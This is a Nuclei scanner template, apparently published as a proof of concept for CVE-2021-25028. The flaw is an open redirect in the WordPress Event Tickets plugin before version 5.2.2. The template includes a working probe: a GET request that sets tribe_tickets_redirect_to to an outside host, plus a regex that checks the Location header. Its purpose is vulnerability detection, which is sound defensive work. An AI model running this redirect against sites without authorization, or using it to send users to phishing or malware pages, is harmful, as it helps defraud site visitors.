WordPress Event Tickets < 5.2.2 is susceptible to an open redirect vulnerability. The plugin does not validate the tribe_tickets_redirect_to parameter before redirecting the user to the given value, leading to an arbitrary redirect issue.
PoC
id: CVE-2021-25028
info:
name: WordPress Event Tickets < 5.2.2 - Open Redirect
author: dhiyaneshDk
severity: medium
description: WordPress Event Tickets < 5.2.2 is susceptible to an open redirect vulnerability. The plugin does not validate the tribe_tickets_redirect_to parameter before redirecting the user to the given value, leading to an arbitrary redirect issue.
impact: |
Attackers can redirect users to malicious websites through the tribe_tickets_redirect_to parameter, potentially facilitating phishing attacks or malware distribution.
remediation: |
Update to the latest version of the WordPress Event Tickets plugin (5.2.2 or higher) to fix the open redirect vulnerability.
reference:
- https://wpscan.com/vulnerability/80b0682e-2c3b-441b-9628-6462368e5fc7
- https://nvd.nist.gov/vuln/detail/CVE-2021-25028
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25028
cwe-id: CWE-601
epss-score: 0.01932
epss-percentile: 0.78999
cpe: cpe:2.3:a:tri:event_tickets:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: tri
product: event_tickets
framework: wordpress
tags: cve2021,cve,wordpress,redirect,wp-plugin,eventtickets,wpscan,tri,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://interact.sh"
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a00473045022100b877c02e98f6314f699b9ed612144b16e397bc2eee50705fd694d912ca104ebf02204e2a978b98e0b454b394f1c55f490a4f9f2d844c812462623898ee9188c78f5a:922c64590222798bb761d5b6d8e72950
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